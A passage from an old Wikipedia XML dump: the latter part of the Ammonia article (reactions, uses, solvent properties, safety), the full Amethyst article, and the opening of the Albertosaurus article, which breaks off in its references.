This is a Bronsted-Lowry acid-base reaction in which ammonia is acting as an acid.

=== Formation of other compounds ===

Ammonia can act as a [[nucleophile]] in [[Nucleophilic substitution|substitution]] reactions. [[Amine]]s can be formed by the reaction of ammonia with [[alkyl halide]]s, although the resulting &amp;ndash;NH&lt;sub&gt;2&lt;/sub&gt; group is also nucleophilic and secondary and tertiary amines are often formed as by-products. Using an excess of ammonia helps minimise multiple substitution, and neutralises the hydrogen halide formed. [[Methylamine]] is prepared commercially by the reaction of ammonia with [[chloromethane]], and the reaction of ammonia with 2-bromopropanoic acid has been used to prepare [[racemic]] [[alanine]] in 70% yield. [[Ethanolamine]] is prepared by a ring-opening reaction with [[ethylene oxide]]: the reaction is sometimes allowed to go further to produce diethanolamine and triethanolamine.

[[Amide]]s can be prepared by the reaction of ammonia with a number of [[carboxylic acid]] derivatives. [[Acyl chloride]]s are the most reactive, but the ammonia must be present in at least a two-fold excess to neutralise the [[hydrogen chloride]] formed. [[Ester]]s and [[anhydride]]s also react with ammonia to form amides.

Ammonium salts of carboxylic acids can be dehydrated to amides so long as there are no thermally sensitive groups present: temperatures of 150&amp;ndash;200 °C are required.

The [[hydrogen]] in ammonia is capable of replacement by [[metal]]s, thus [[magnesium]] burns in the gas with the formation of [[magnesium nitride]] Mg&lt;sub&gt;3&lt;/sub&gt;N&lt;sub&gt;2&lt;/sub&gt;, and when the gas is passed over heated [[sodium]] or [[potassium]], sodamide, NaNH&lt;sub&gt;2&lt;/sub&gt;, and potassamide, KNH&lt;sub&gt;2&lt;/sub&gt;, are formed.

Where necessary in [[IUPAC nomenclature|substitutive nomenclature]], [[IUPAC]] recommendations prefer the name '''azane''' to ammonia: hence [[chloramine]] would be named ''chloroazane'' in substitutive nomenclature, not ''chloroammonia''.

=== Ammonia as a ligand ===

Ammonia can act as a [[ligand]] in [[transition metal]] [[complex (chemistry)|complexes]]. It is a pure σ-donor, in the middle of the [[spectrochemical series]], and shows intermediate [[HSAB concept|hard-soft]] behaviour. For historical reasons, ammonia is named '''ammine''' in the nomenclature of [[coordination compound]]s. Some notable ammine complexes include:
*'''Hexamminecopper(II)''', [Cu(NH&lt;sub&gt;3&lt;/sub&gt;)&lt;sub&gt;6&lt;/sub&gt;]&lt;sup&gt;2+&lt;/sup&gt;, a characteristic dark blue complex formed by adding ammonia to solution of copper(II) salts.
*'''Diamminesilver(I)''', [Ag(NH&lt;sub&gt;3&lt;/sub&gt;)&lt;sub&gt;2&lt;/sub&gt;]&lt;sup&gt;+&lt;/sup&gt;, the active species in [[Tollens' reagent]]. Formation of this complex can also help to distinguish between precipitates of the different silver halides: [[Silver chloride|AgCl]] is soluble in dilute (2&amp;nbsp;M) ammonia solution, [[Silver bromide|AgBr]] is only soluble in concentrated ammonia solution while [[Silver iodide|AgI]] is insoluble in aqueous solution of ammonia.

Ammine complexes of [[chromium]](III) were known in the late 19th century, and formed the basis of [[Alfred Werner]]'s theory of coordination compounds. Werner noted that only two isomers (''fac''- and ''mer''-) of the complex [CrCl&lt;sub&gt;3&lt;/sub&gt;(NH&lt;sub&gt;3&lt;/sub&gt;)&lt;sub&gt;3&lt;/sub&gt;] could be formed, and concluded that the ligands must be arranged around the metal ion at the [[vertex|vertices]] of an [[octahedron]]. This has since been confirmed by [[X-ray crystallography]].

An ammine ligand bound to a metal ion is markedly more [[acid]]ic than a free ammonia molecule, although deprotonation in aqueous solution is still rare. One example is the [[Mercury(I) chloride|Calomel reaction]], where the resulting amidomercury(II) compound is highly insoluble.
::Hg&lt;sub&gt;2&lt;/sub&gt;Cl&lt;sub&gt;2&lt;/sub&gt; + 2NH&lt;sub&gt;3&lt;/sub&gt; → Hg + HgCl(NH&lt;sub&gt;2&lt;/sub&gt;) + NH&lt;sub&gt;4&lt;/sub&gt;&lt;sup&gt;+&lt;/sup&gt; + Cl&lt;sup&gt;&amp;minus;&lt;/sup&gt;

==Uses==

The most important single use of ammonia is in the production of [[nitric acid]]. A mixture of one part ammonia to nine parts air is passed over a [[platinum]] gauze [[catalyst]] at 850 °C, whereupon the ammonia is oxidized to [[nitric oxide]].
::4NH&lt;sub&gt;3&lt;/sub&gt; + 5O&lt;sub&gt;2&lt;/sub&gt; → 4NO + 6H&lt;sub&gt;2&lt;/sub&gt;O
The catalyst is essential, as the normal oxidation (or combustion) of ammonia gives [[Nitrogen|dinitrogen]] and water: the production of nitric oxide is an example of [[kinetic control]]. As the gas mixture cools to 200&amp;ndash;250 °C, the nitric oxide is in turn oxidized by the excess of [[oxygen]] present in the mixture, to give [[nitrogen dioxide]]. This is reacted with water to give nitric acid for use in the production of [[fertilizer]]s and [[explosive]]s.

In addition to serving as a fertilizer ingredient, ammonia can also be used directly as a fertilizer by forming a solution with irrigation water, without additional chemical processing. This later use allows the continuous growing of nitrogen dependent crops such as [[maize]] (corn) without [[agriculture|crop]] rotation but this type of use leads to poor [[soil]] health.

Ammonia has thermodynamic properties that make it very well suited as a [[Refrigeration|refrigerant]], since it liquefies readily under pressure, and was used in virtually all refrigeration units prior to the advent of [[haloalkane]]s such as [[Freon]]. However, ammonia is a toxic irritant and its corrosiveness to any [[copper]] [[alloy]]s increases the risk that an undesirable leak may develop and cause a noxious hazard.  Its use in small refrigeration units has been largely replaced by haloalkanes, which are not toxic irritants and are practically not [[flammable]].  (Note: [[Butane]] and [[isobutane]], which have very suitable thermodynamic properties for refrigerants, are extremely flammable.)  Ammonia continues to be used as a [[refrigerant]] in large industrial processes such as bulk icemaking and industrial food processing. Ammonia is also useful as a component in [[Absorptive refrigeration|absorption-type refrigerators]], which do not use compression and expansion cycles but can exploit heat differences. Since the implication of haloalkane being major contributors to [[ozone depletion]], ammonia is again seeing increasing use as a refrigerant.

Ammonia is a primary ingredient in old-style household cleaners.

It is also sometimes added to drinking water along with [[chlorine]] to form [[chloramine]], a [[disinfectant]]. Unlike chlorine on its own, chloramine does not combine with organic (carbon containing) materials to form [[carcinogen|carcinogenic]] [[halomethane]]s such as [[chloroform]].

== Liquid ammonia as a solvent ==
:''See also: [[Inorganic nonaqueous solvent]]''
Liquid ammonia is the best-known and most widely studied non-aqueous ionizing solvent. Its most conspicuous property is its ability to dissolve alkali metals to form highly coloured, electrically conducting solutions containing solvated electrons. Apart from these remarkable solutions, much of the chemistry in liquid ammonia can be classified by analogy with related reactions in aqueous solutions. Comparison of the physical properties of NH&lt;sub&gt;3&lt;/sub&gt; with those of water shows that NH&lt;sub&gt;3&lt;/sub&gt; has the lower melting point, boiling point, density, [[viscosity]], [[dielectric constant]] and [[electrical conductivity]]; this is due at least in part to the weaker H bonding in NH&lt;sub&gt;3&lt;/sub&gt; and the fact that such bonding cannot form cross-linked networks since each NH&lt;sub&gt;3&lt;/sub&gt; molecule has only 1 lone-pair of electrons compared with 2 for each H&lt;sub&gt;2&lt;/sub&gt;O molecule. The ionic self-[[dissociation constant]] of liquid NH&lt;sub&gt;3&lt;/sub&gt; at &amp;minus;50 °C is approx. 10&lt;sup&gt;-33&lt;/sup&gt; mol&lt;sup&gt;2&lt;/sup&gt;·l&lt;sup&gt;-2&lt;/sup&gt;.

=== Solubility of salts ===
{|
|-
! &amp;nbsp;
! Solubility (g per 100 g)
|-
| [[Ammonium acetate]]
| 253.2
|-
| [[Ammonium nitrate]]
| 389.6
|-
| [[Lithium nitrate]]
| 243.7
|-
| [[Sodium nitrate]]
| 97.6
|-
| [[Potassium nitrate]]
| 10.4
|-
| [[Sodium fluoride]]
| 0.35
|-
| [[Sodium chloride]]
| 3.0
|-
| [[Sodium bromide]]
| 138.0
|-
| [[Sodium iodide]]
| 161.9
|-
| [[Sodium thiocyanate]]
| 205.5
|-
|}

Liquid ammonia is an ionizing solvent, although less so than water, and dissolves a range of ionic compounds including many [[nitrate]]s, [[nitrite]]s, [[cyanide]]s and [[thiocyanate]]s.  Most [[ammonium]] salts are soluble, and these salts act as [[acid]]s in liquid ammonia solutions. The solubility of [[halide]] salts increases from [[fluoride]] to [[iodide]]. A saturated solution of [[ammonium nitrate]] contains 0.83&amp;nbsp;mol solute per mole of ammonia, and has a [[vapour pressure]] of less than 1&amp;nbsp;bar even at 25 °C.

=== Solutions of metals ===
:''See also: [[Solvated electron]], [[metallic solution]]''
Liquid ammonia will dissolve the [[alkali metal]]s and other [[Electronegativity|electropositive]] metals such as [[Calcium|Ca]], [[Strontium|Sr]], [[Barium|Ba]] [[Europium|Eu]] and [[Ytterbium|Yb]]. At low concentrations (&lt;&amp;nbsp;0.06&amp;nbsp;mol/L), deep blue solutions are formed: these contain metal cations and [[solvated electron]]s, free electrons which are surrounded by a cage of ammonia molecules. These solutions are very useful as strong reducing agents. At higher concentrations, the solutions are metallic in appearance and in electrical conductivity. At low temperatures, the two types of solution can coexist as [[Wiktionary:immiscible|immiscible]] phases.

=== Redox properties of liquid ammonia ===
{|
|-
! &amp;nbsp;
! ''E''° (V, ammonia)
! ''E''° (V, water)
|-
| Li&lt;sup&gt;+&lt;/sup&gt; + e&lt;sup&gt;&amp;minus;&lt;/sup&gt; {{unicode|&amp;#8652;}} Li
| &amp;minus;2.24
| &amp;minus;3.04
|-
| K&lt;sup&gt;+&lt;/sup&gt; + e&lt;sup&gt;&amp;minus;&lt;/sup&gt; {{unicode|&amp;#8652;}} K
| &amp;minus;1.98
| &amp;minus;2.93
|-
| Na&lt;sup&gt;+&lt;/sup&gt; + e&lt;sup&gt;&amp;minus;&lt;/sup&gt; {{unicode|&amp;#8652;}} Na
| &amp;minus;1.85
| &amp;minus;2.71
|-
| Zn&lt;sup&gt;2+&lt;/sup&gt; + 2e&lt;sup&gt;&amp;minus;&lt;/sup&gt; {{unicode|&amp;#8652;}} Zn
| &amp;minus;0.53
| &amp;minus;0.76
|-
| NH&lt;sub&gt;4&lt;/sub&gt;&lt;sup&gt;+&lt;/sup&gt; + e&lt;sup&gt;&amp;minus;&lt;/sup&gt; {{unicode|&amp;#8652;}} ½H&lt;sub&gt;2&lt;/sub&gt; + NH&lt;sub&gt;3&lt;/sub&gt;
| 0.00
| &amp;ndash;
|-
| Cu&lt;sup&gt;2+&lt;/sup&gt; + 2e&lt;sup&gt;&amp;minus;&lt;/sup&gt; {{unicode|&amp;#8652;}} Cu
| +0.43
| +0.34
|-
| Ag&lt;sup&gt;+&lt;/sup&gt; + e&lt;sup&gt;&amp;minus;&lt;/sup&gt; {{unicode|&amp;#8652;}} Ag
| +0.83
| +0.80
|-
|}

The range of thermodynamic stability of liquid ammonia solutions is very narrow, as the potential for oxidation to [[Nitrogen|dinitrogen]], ''E''°&amp;nbsp;(N&lt;sub&gt;2&lt;/sub&gt; + 6NH&lt;sub&gt;4&lt;/sub&gt;&lt;sup&gt;+&lt;/sup&gt; + 6e&lt;sup&gt;&amp;minus;&lt;/sup&gt; {{unicode|&amp;#8652;}} 8NH&lt;sub&gt;3&lt;/sub&gt;), is only +0.04&amp;nbsp;V. In practice, both oxidation to dinitrogen and reduction to [[Hydrogen|dihydrogen]] are slow. This is particularly true of reducing solutions: the solutions of the alkali metals mentioned above are stable for several days, slowly decomposing to the [[Amide|metal amide]] and dihydrogen. Most studies involving liquid ammonia solutions are done in reducing conditions: although oxidation of liquid ammonia is usually slow, there is still a risk of explosion, particularly if transition metal ions are present as possible catalysts.

== Detection and determination ==

Ammonia and ammonium salts can be readily detected, in very minute traces, by the addition of [[Nessler's solution]], which gives a distinct yellow coloration in the presence of the least trace of ammonia or ammonium salts. [[Sulfur sticks]] are burnt to detect small leaks in industrial ammonia refrigeration systems. Larger quantities can be detected by warming the salts with a caustic alkali or with [[calcium oxide|quicklime]], when the characteristic smell of ammonia will be at once apparent. The amount of ammonia in ammonium salts can be estimated quantitatively by distillation of the salts with [[sodium hydroxide|sodium]] or [[potassium hydroxide]], the ammonia evolved being absorbed in a known volume of standard [[sulfuric acid]] and the excess of acid then determined [[volumetric analysis|volumetrically]]; or the ammonia may be absorbed in [[hydrochloric acid]] and the [[ammonium chloride]] so formed precipitated as [[ammonium hexachloroplatinate]], (NH&lt;sub&gt;4&lt;/sub&gt;)&lt;sub&gt;2&lt;/sub&gt;PtCl&lt;sub&gt;6&lt;/sub&gt;.

== Safety precautions ==
=== Toxicity ===

The toxicity of ammonia solutions does not usually cause problems for humans and other mammals, as a specific mechanism exists to prevent its build-up  in the bloodstream. Ammonia is converted to [[carbamoyl phosphate]] by the enzyme [[carbamoyl phosphate synthase]], and then enters the [[urea cycle]] to be either incorporated into [[amino acid]]s or excreted in the urine. However [[fish]] and [[amphibian]]s lack this mechanism, as they can usually eliminate ammonia from their bodies by direct excretion. Ammonia even at dilute concentrations is highly toxic to aquatic animals, and for this reason it is [[Directive 67/548/EEC|classified]] as ''dangerous for the environment''.

=== Household use ===

Solutions of ammonia (5&amp;ndash;10% by weight) are used as household cleaners, particularly for glass. These solutions are irritating to the eyes and [[mucous membrane]]s (respiratory and digestive tracts), and to a lesser extent the skin. They should '''never''' be mixed with [[chlorine]]-containing products, for example household [[bleach]], as a variety of toxic and [[carcinogen]]ic compounds are formed (''e.g.'', [[chloramine]], [[hydrazine]]).

=== Laboratory use of ammonia solutions ===

The hazards of ammonia solutions depend on the concentration: &quot;dilute&quot; ammonia solutions are usually 5&amp;ndash;10% by weight (&lt;5.62&amp;nbsp;mol/L); &quot;concentrated&quot; solutions are usually prepared at &gt;25% by weight. A 25% (by weight) solution has a density of 0.907&amp;nbsp;g/cm&lt;sup&gt;3&lt;/sup&gt;, and a solution which has a lower density will be more concentrated. The [[Directive 67/548/EEC|European Union classification]] of ammonia solutions is given in the table.

&lt;!-- EU Index no. 007-001-01-2 --&gt;
{| class=&quot;wikitable&quot;
|-
! [[Concentration]]&lt;br/&gt;by weight
! Molarity
! Classification
! [[List of R-phrases|R-Phrases]]
|-
| 5&amp;ndash;10%
| 2.87&amp;ndash;5.62 mol/L
| Irritant ('''Xi''')
| {{R36/37/38}}
|-
| 10&amp;ndash;25%
| 5.62&amp;ndash;13.29 mol/L
| Corrosive ('''C''')
| {{R34}}
|-
| &gt;25%
| &gt;13.29 mol/L
| Corrosive ('''C''')&lt;br/&gt;Dangerous for&lt;br/&gt;the environment ('''N''')
| {{R34}}, {{R50}}
|-
|}

:''[[List of S-phrases|S-Phrases]]: {{S1/2}}, {{S16}}, {{S36/37/39}}, {{S45}}, {{S61}}.''

The ammonia vapour from concentrated ammonia solutions is severely irritating to the eyes and the respiratory tract, and these solutions should only be handled in a fume hood. Saturated (&quot;0.880&quot;) solutions can develop a significant pressure inside a closed bottle in warm weather, and the bottle should be opened with care: this is not usually a problem for 25% (&quot;0.900&quot;) solutions.

Ammonia solutions should not be mixed with [[halogen]]s, as toxic and/or explosive products are formed. Prolonged contact of ammonia solutions with [[silver (element)|silver]], [[mercury (element)|mercury]] or [[iodide]] salts can also lead to explosive products: such mixtures are often formed in [[qualitative analysis]], and should be acidified and diluted before disposal once the test is completed.

=== Laboratory use of anhydrous ammonia (gas or liquid) ===

&lt;!-- EU index no. 007-001-00-5 --&gt;
&lt;!-- R10, 23, 34, 50; S1/2, 9, 16, 26, 36/37/39, 45, 61 --&gt;
Anhydrous ammonia is classified as '''toxic''' ('''T''') and '''dangerous for the environment''' ('''N'''). The gas is flammable ([[autoignition temperature]]: 651 °C) and can form explosive mixtures with air (16&amp;ndash;25%). The [[permissible exposure limit]] (PEL) in the United States is 50&amp;nbsp;ppm (35&amp;nbsp;mg/m&lt;sup&gt;3&lt;/sup&gt;), while the [[IDLH]] concentration is estimated at 300&amp;nbsp;ppm. Repeated exposure to ammonia lowers the sensitivity to the smell of the gas: normally the odour is detectable at concentrations of less than 0.5&amp;nbsp;ppm, but desensitized individuals may not detect it even at concentrations of 100&amp;nbsp;ppm.

Ammonia reacts violently with the halogens, and causes the explosive polymerization of [[ethylene oxide]]. It also forms explosive compounds with compounds of [[gold (element)|gold]], silver, mercury, [[germanium]] or [[tellurium]], and with [[stibine]]. Violent reactions have also been reported with [[acetaldehyde]], [[hypochlorite]] solutions, [[potassium ferricyanide]] and [[peroxide]]s.

Anhydrous ammonia corrodes [[copper (element)|copper]]- and [[zinc (element)|zinc]]-containing [[alloy]]s, and so [[brass]] fittings should not be used for handling the gas. Liquid ammonia can also attack rubber and certain plastics.

== See also ==
*[[Ammonia (data page)]]
*[[Chlorination]]
*[[Water purification]]
*[[Nitrogen metabolism]]

== Reference ==
#{{note|NH4Cl}} Baker, H. B. (1894). ''J. Chem. Soc.'' '''65''': 612.

== Bibliography ==
{{1911}}
* {{cite book
 | author=Greenwood, N. N.; &amp; Earnshaw, A.
 | title=Chemistry of the Elements
 | edition = 2nd Edn.
 | location =Oxford
 | publisher=Butterworth-Heinemann
 | year=1997
 | id=ISBN 0-7506-3365-4
 }}
* {{cite book
 | author=Housecroft, C. E.; &amp; Sharpe, A.
 | title=Inorganic Chemistry
 | location =Harlow (UK)
 | publisher=Prentice Education
 | year=2001
 | id=ISBN 0-582-31080-6
 }}
* {{cite book
 | author=Bretherick, L. (Ed.)
 | title=Hazards in the Chemical Laboratory
 | edition = 4th Edn.
 | location =London
 | publisher=Royal Society of Chemistry
 | year=1986
 | id=ISBN 0-85186-489-9
 }}

== External links ==
*[http://www.cheresources.com/ammonia.shtml Ammonia: The Next Step]
*[http://www.ilo.org/public/english/protection/safework/cis/products/icsc/dtasht/_icsc04/icsc0414.htm International Chemical Safety Card 0414] (anhydrous ammonia)
*[http://www.ilo.org/public/english/protection/safework/cis/products/icsc/dtasht/_icsc02/icsc0215.htm International Chemical Safety Card 0215] (aqueous solutions)
* [http://www.npi.gov.au/database/substance-info/profiles/8.html National Pollutant Inventory - Ammonia]
*[http://www.cdc.gov/niosh/npg/npgd0028.html NIOSH Pocket Guide to Chemical Hazards]
*{{ecb}}
*{{PubChemLink|222}}
*[http://www.inrs.fr Institut national de recherche et de securite] (''in French'')
* [http://www.ammoniaspills.org  Emergency Response to Ammonia Fertilizer Releases (Spills)] for the Minnesota Department of Agriculture
*{{nist}}
* [http://www.compchemwiki.org/index.php?title=Ammonia Computational Chemistry Wiki]

[[Category:Nitrogen compounds]]
[[Category:Hydrides]]
[[Category:Bases]]
[[Category:Nitrogen metabolism]]
[[Category:Household chemicals]]
[[Category:Refrigerants]]

[[bg:Амоняк]]
[[ca:Amoníac]]
[[cs:Amoniak]]
[[cy:Amonia]]
[[da:Ammoniak]]
[[de:Ammoniak]]
[[es:Amoníaco]]
[[fa:آمونیاک]]
[[fr:Ammoniac]]
[[hr:Amonijak]]
[[io:Amoniako]]
[[it:Ammoniaca]]
[[he:אמוניה]]
[[lv:Amonjaks]]
[[mk:Амонијак]]
[[ms:Ammonia]]
[[nl:Ammoniak]]
[[ja:アンモニア]]
[[no:Ammoniakk]]
[[nn:Ammoniakk]]
[[pl:Amoniak]]
[[pt:Amoníaco]]
[[ru:Аммиак]]
[[simple:Ammonia]]
[[sr:Амонијак]]
[[fi:Ammoniakki]]
[[sv:Ammoniak]]
[[th:แอมโมเนีย]]
[[uk:Аміак]]
[[zh:氨]]</text>
    </revision>
  </page>
  <page>
    <title>Amethyst</title>
    <id>1366</id>
    <revision>
      <id>41252368</id>
      <timestamp>2006-02-26T02:02:59Z</timestamp>
      <contributor>
        <username>Vsmith</username>
        <id>84417</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/68.8.110.18|68.8.110.18]] ([[User talk:68.8.110.18|talk]]) to last version by 85.157.107.161</comment>
      <text xml:space="preserve">{{Otheruses}}

'''Amethyst''' (SiO&lt;sub&gt;2&lt;/sub&gt;) is a violet or purple variety of [[quartz]] often used as an [[ornamental stone|ornament]]. The name is generally said to be derived from the Greek ''a'', &quot;not,&quot; and ''methuskein'', &quot;to intoxicate,&quot; expressing the old belief that the stone protected its owner from [[drunkenness]]. It was held that wine drunk out of a cup of amethyst would not [[Intoxication|intoxicate]]. However, the word may probably be a corruption of an Oriental name for the stone. 

[[Image:Amethyst.bed.750pix.jpg|thumb|250px|right|A bed of amethyst crystals on base rock, 13cm (5in) long]]

In the [[20th century]], the color of amethyst was attributed to the presence of [[manganese]]. However, since it is capable of being greatly altered and even discharged by heat, the color was believed by some authorities to be from an organic source. [[Iron|Ferric]] [[thiocyanate]] was suggested, and [[sulfur]] was said to have been detected in the mineral. As of 2005, impurity atoms are known to be responsible of the colour of the amethyst.

On exposure to heat, amethyst generally becomes yellow, and much of the [[citrine]], [[cairngorm]], or yellow quartz of jewelry is said to be merely &quot;burnt amethyst&quot;. Veins of amethystine quartz are apt to lose their color on the exposed outcrop. 

Amethyst is composed of an irregular superposition of alternate [[lamellar structure|lamellae]] of right-handed and left-handed quartz. It has been shown that this structure may be due to mechanical stresses.  As a consequence of this composite formation, amethyst is apt to break with a rippled fracture, or to show &quot;thumb markings&quot;, and the intersection of two sets of curved ripples may produce on the fractured surface a pattern something like that of &quot;engine turning&quot;. Some mineralogists, following Sir [[David Brewster]], apply the name of amethyst to all quartz which exhibits this structure, regardless of color. 

[[Image:Amethyst cut.jpg|Amethyst|thumb|250px]]
Amethyst was used as a [[gemstone]] by the ancient [[Egypt]]ians and was largely employed in antiquity for [[intaglio]]s. Beads of amethyst are found in [[Anglo-Saxon]] graves in [[England]]. It is a widely distributed [[mineral]], but fine, clear specimens that are suitable for cutting as ornamental stones are confined to comparatively few localities. Such [[crystal]]s occur either in the cavities of mineral-veins and in [[granite|granitic]] rocks, or as a lining in [[agate]] [[geode]]s. A huge geode, or &quot;amethyst-grotto&quot;, from near Santa Cruz in southern [[Brazil]] was exhibited at the [[Düsseldorf]] Exhibition of [[1902]].  Many of the hollow agates of Brazil and [[Uruguay]] contain a crop of amethyst crystals in the interior. Much fine amethyst comes from [[Russia]], especially from  near [[Mursinka]] in the [[Ekaterinburg]] district, where it occurs in drusy cavities in granitic rocks. Many localities in [[India]] yield amethyst; and it is found also in [[Sri Lanka]], chiefly as pebbles.

[[Image:Srr046a.jpg|6 Carat Pear Shape Amethyst Ring|thumb|250px]]
Due to its popularity as a gemstone, several descriptive terms have been coined in the gem trade to describe the varying colors of amethyst.  &quot;Rose de France&quot; is usually a pale pinkish lavender or lilac shade (usually the least sought color).  The most prized color is an intense violet with red flashes and is called &quot;Siberian&quot;, although gems of this color may occur from several locations other than [[Siberia]], notably [[Uruguay]] and [[Zambia]]. In more recent times, certain gems (usually of Bolivian origin) that have shown alternate bands of amethyst purple with citrine orange have been given the name [[ametrine]].

Purple [[corundum]], or [[sapphire]] of amethystine tint, is called Oriental amethyst, but this expression is often applied by jewellers to fine examples of the ordinary amethystine quartz, even when not derived from eastern sources. Professional gemological associations, such as the [[Gemological Institute of America]] (GIA) or the [[American Gemological Society]] (AGS), discourage the use of the term &quot;Oriental amethyst&quot; to describe any gem, as it may be misleading.

Amethyst occurs at many localities in the [[United States]], but these specimens are rarely fine enough for use in jewelry. Among these may be mentioned Amethyst Mountain, [[Texas]]; [[Yellowstone National Park]]; [[Delaware County, Pennsylvania]]; [[Haywood County, North Carolina]]; and Deer Hill, and Stow, [[Maine]]. It is found also in the [[Lake Superior]] district. Amethyst is relatively common in northwestern [[Ontario]], but uncommon elsewhere in [[Canada]]; it was selected as the provincial mineral of Ontario in 1975.

==Value==
Traditionally included in the cardinal, or most valuable, gemstones (along with [[diamond]], [[sapphire]], [[ruby]] and [[emerald]]), amethyst has lost much of its substantial value due to the discovery of extensive deposits in locations such as [[Brazil]]. Even high-quality examples are often sold in large unfinished slabs, or as geodes, in everyday locations.

==Amethyst in folklore and astrology==
Amethyst is the [[birthstone]] associated with February. It is also associated with the [[constellation]]s of [[Pisces]], [[Aries]] (especially the violet and purple variety), [[Aquarius]], and [[Sagittarius]]. It is a symbol of heavenly understanding, and of the pioneer in thought and action on the philosophical, religious, spiritual and material planes. Ranking members of the [[Catholic]] Church traditionally wear rings set with a large amethyst as part of their office.

==See also==
{{Commons|Amethyst}}
*[[List of minerals]]

{{1911}}

[[Category:Gemstones]]
[[Category:Quartz varieties]]

[[bg:Аметист]]
[[ca:Ametista]]
[[de:Amethyst]]
[[es:Amatista]]
[[fr:Améthyste]]
[[ga:Aimitis]]
[[he:אחלמה]]
[[hu:Ametiszt]]
[[nl:Amethist]]
[[ja:アメジスト]]
[[pl:Ametyst]]
[[pt:Ametista]]
[[ru:Аметист]]
[[sk:Ametyst]]
[[sl:Ametist]]
[[fi:Ametisti]]
[[sv:Ametist]]
[[uk:Аметист]]</text>
    </revision>
  </page>
  <page>
    <title>Albertosaurus</title>
    <id>1367</id>
    <revision>
      <id>41056732</id>
      <timestamp>2006-02-24T19:55:08Z</timestamp>
      <contributor>
        <username>Sheep81</username>
        <id>911938</id>
      </contributor>
      <comment>rearrangem,ent</comment>
      <text xml:space="preserve">{{Taxobox
| color = pink
| name = ''Albertosaurus''
| fossil_range = [[Late Cretaceous]]
| image = Albertosaurus model.jpg
| image_width = 200px
| regnum = [[Animal]]ia
| phylum = [[Chordate|Chordata]]
| classis = [[Archosaur|Archosauria]]
| ordo = [[Saurischia]]
| subordo = [[Theropod|Theropoda]]
| familia = [[Tyrannosaurid|Tyrannosauridae]]
| subfamilia = [[Albertosaurinae]]
| genus = '''''Albertosaurus'''''
| species = '''''A. sarcophagus'''''
| binomial = ''Albertosaurus sarcophagus''
| binomial_authority = [[Henry Fairfield Osborn|Osborn]], 1905
}}

'''''Albertosaurus''''' is a [[genus]] of [[tyrannosaurid]] [[theropod]] [[dinosaur]] from the [[Late Cretaceous]] Period of [[North America]]. It was a large [[bipedal]] [[predator]] with a massive head and tiny forelimbs, much like the better-known ''[[Tyrannosaurus rex]]'', although not quite as big. Adults reached up to 30 feet (9 meters) in length.

==Etymology==

The genus ''Albertosaurus'' can be translated as &quot;Alberta lizard&quot; and is named for the [[Canada|Canadian]] province of [[Alberta]], in which it was found. The name also incorporates the [[Greek language|Greek]] term ''sauros'', meaning &quot;lizard,&quot; which is the most common suffix used in dinosaur names.

There is one named [[species]] considered valid today (''A. sarcophagus''). This name has the same [[etymology]] as the [[sarcophagus|funeral container]] of the same name: a combination of the Greek words ''sarx'', meaning &quot;flesh,&quot; and ''phagos'', meaning &quot;to eat.&quot; This refers to its quite obvious carnivorous habits.

Both genus and species were named by famous [[United States|American]] [[paleontologist]] [[Henry Fairfield Osborn]] in [[1905]].

==Taxonomy==

''Albertosaurus'' is a member of the family [[Tyrannosauridae]] and is united with the closely related ''Gorgosaurus'' in the subfamily [[Albertosaurinae]]. Holtz (2004) also places the newly described ''[[Appalachiosaurus]]'' in this subfamily, while Carr et al. (2005) do not.

===Invalid Species===

Other species have been named. ''A. arctunguis'', also from Alberta, was found to be a [[junior synonym]] of ''A. sarcophagus'' by Russell (1970). ''A. megagracilis'' (later renamed ''[[Dinotyrannus]]''), is a smaller animal from the [[Hell Creek Formation]] of [[Montana]], and is now thought to be a juvenile ''Tyrannosaurus''.

===Synonymy with Gorgosaurus?===

In [[1970]], [[Dale Russell]] examined [[fossil]]s of both ''Albertosaurus'' and another tyrannosaurid, ''[[Gorgosaurus]]'', which comes from slightly older sediments, and found very few differences to separate them. While retaining the two as different species, he assigned them to the same genus. ''Gorgosaurus libratus'' was not named until [[1914]], so the name ''Albertosaurus'' retained [[ICZN|priority]] as the genus name since it was older, creating the new combination ''Albertosaurus libratus''. 

This name found common use for a few decades, but a recent reanalysis of tyrannosaurid [[skull]]s performed by influential paleontologist [[Phil Currie]] in [[2003]] found that the differences are more pronounced than previously thought, although the two species are still closely related. As ''Albertosaurus'' and ''Gorgosaurus'' are considered [[sister taxa]], and there is no commonly accepted definition of a genus in paleontology, Currie acknowledged that the difference between retaining them in one genus or separating them into two is largely arbitrary. However, he recommended separating them to allow more flexibility when naming new species in the future, and because there is no greater degree of difference between the two than there is between ''[[Daspletosaurus]]'' and ''[[Tyrannosaurus]]'', which are almost universally retained as different genera. Other paleontologists, with the exception of Carr et al. (2005), have largely followed Currie's recommendation on the subject and ''Gorgosaurus'' is now widely recognized as a separate genus.

==Location and Age==

''Albertosaurus'' is known mostly from the [[Horseshoe Canyon Formation]] of [[Alberta]], [[Canada]]. This [[geologic formation|formation]] is from the early [[Maastrichtian]] stage of the [[Late Cretaceous]] Period, about 73 to 70 million years ago. Many other dinosaurs have been found there, including [[ornithomimidae|ornithomimids]], ''[[Chirostenotes]]'', [[dromaeosaurid]]s, [[ankylosauria]]ns, [[ceratopsia]]ns, [[pachycephalosaur]]s, and [[hadrosaurids]].

Fossils of ''Albertosaurus'' have also been reported from the [[United States|American]] states of Montana and [[Wyoming]], but these are not recognizable to species level according to Currie (2003) and Holtz (2004).

==Remains==

[[Image:Dd albertos 300.jpg|frame|Albertosaurus]]

Currie (2003) recognized ten skulls which belong to ''A. sarcophagus'' with certainty, as well as seven skeletons of varying completeness. The [[holotype]] skull was found by famous Canadian [[geologist]] [[Joseph Tyrrell|Joseph B. Tyrrell]].

===Bonebed in Alberta===

In addition, articulated remains of 12 more individuals of all different ages have been recovered from a [[bonebed]] locality in Alberta, providing a nearly complete sequence from juvenile to very old adults. This is now one of the most completely known tyrannosaurid species.

It is possible that such a large number of individuals in one place represents some sort of [[social behavior]] among albertosaurs, but this is difficult to prove.

==References==

#{{cite journal
 | author = Osborn, H.F.
 | year = 1905
 | title = ''Tyrannosaurus'' and other Cretaceous carnivorous dinosaurs
 | journal = Bulletin of the American Museum of Natural History
 | volume = 21
 | pages = 259-265
 }} [original description]
#{{cite journal
 | author = Russell, D.A.
 | year = 1970
 | title = Tyrannosaurs from the Late Cretaceous of western Canada
 | journal = National Museum of Natural Sciences, Publications in Paleontology
 | volume = 1
 | pages = 1-34
 }} [synonymization with ''Gorgosaurus'']
#{{cite journal
 | author = Currie, P.J.
 | year = 2003
 | title = Cranial anatomy of tyrannosaurids from the Late Cretaceous of Alberta
